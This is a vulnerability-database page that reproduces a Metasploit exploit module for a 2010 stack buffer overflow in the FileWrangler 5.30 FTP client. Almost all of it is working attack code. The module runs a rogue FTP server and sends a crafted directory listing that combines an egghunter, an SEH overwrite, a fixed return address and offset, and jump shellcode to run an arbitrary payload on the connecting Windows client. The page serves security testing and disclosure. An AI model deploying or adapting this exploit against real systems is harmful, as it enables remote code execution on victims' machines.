Lucene search
K

FileWrangler 5.30 Stack Buffer Overflow

🗓️ 12 Oct 2010 17:31:18Reported by nullthreat, corelanc0d3r <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 10 Views

FileWrangler 5.30 Stack Buffer Overflow. Exploits buffer overflow in FileWrangler client on FTP server directory listin

Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GoodRanking

  include Msf::Exploit::Remote::FtpServer
  include Msf::Exploit::Remote::Egghunter

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'FileWrangler 5.30 Stack Buffer Overflow',
      'Description'    => %q{
          This module exploits a buffer overflow in the FileWrangler client
        that is triggered when the client connects to a FTP server and lists
        the directory contents, containing an overly long directory name.
      },
      'Author' 	 =>
        [
          'nullthreat',   # found bug
          'corelanc0d3r <peter.ve[at]corelan.be>'  # wrote the exploit
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'OSVDB', '94555' ],
          [ 'URL', 'http://www.corelan.be:8800/index.php/2010/10/12/death-of-an-ftp-client/' ]
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'seh',
        },
      'Payload'        =>
        {
          'Space'    => 3000,
          'BadChars' => "\x00\x0d\x1a\x2a\x51",
          'StackAdjustment' => -5000,
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'Windows Universal', { 'Offset' => 4082, 'Ret' => 0x0042BE63 } ], #ppr [wrangler.exe]
        ],
      'Privileged'     => false,
      'DisclosureDate' => '2010-10-12',
      'DefaultTarget'  => 0))

  end


  def setup
    super
  end

  def on_client_unknown_command(c,cmd,arg)
    c.put("200 OK\r\n")
  end

  def on_client_command_list(c,arg)
    conn = establish_data_connection(c)
    if(not conn)
      c.put("425 Can't build data connection\r\n")
      return
    end
    print_status(" - Data connection set up")
    code = 150
    c.put("#{code} Here comes the directory listing.\r\n")
    code = 226
    c.put("#{code} Directory send ok.\r\n")

    # create the egg hunter
    print_status(" - Creating the Egg Hunter")
    badchars = ""
    eggoptions =
    {
    :checksum => true,
    :eggtag => "W00T"
    }

    hunter,egg = generate_egghunter(payload.encoded,badchars,eggoptions)

    # create hunter
    predator = "\x90" * 42
    predator << hunter

    # create the crash payload
    crash = rand_text_alpha(target['Offset'] - (egg.length + predator.length))

    # Set nseh to jump back 50 (before egghunter)
    jmp = "\x90" * 5 + "\xE9\xC9\xFF\xFF\xFF"
    nseh = "\xEB\xF9\x90\x90" # NSEH
    seh = [target.ret].pack('V')

    print_status(" - Building the Buffer")
    buffer = crash + egg + predator + jmp + nseh + seh
    strfolder = buffer + "B" * (5000-buffer.length)   #make sure it dies

    print_status(" - Sending directory list via data connection")
    dirlist ="drwxrwxrwx    1 100      0           11111 Jun 11 21:10 #{strfolder}\r\n"
    conn.put(dirlist)
    conn.close
    print_status(" - Waiting for egghunter...")
    return

  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

02 Oct 2020 20:00Current
0.7Low risk
Vulners AI Score0.7
10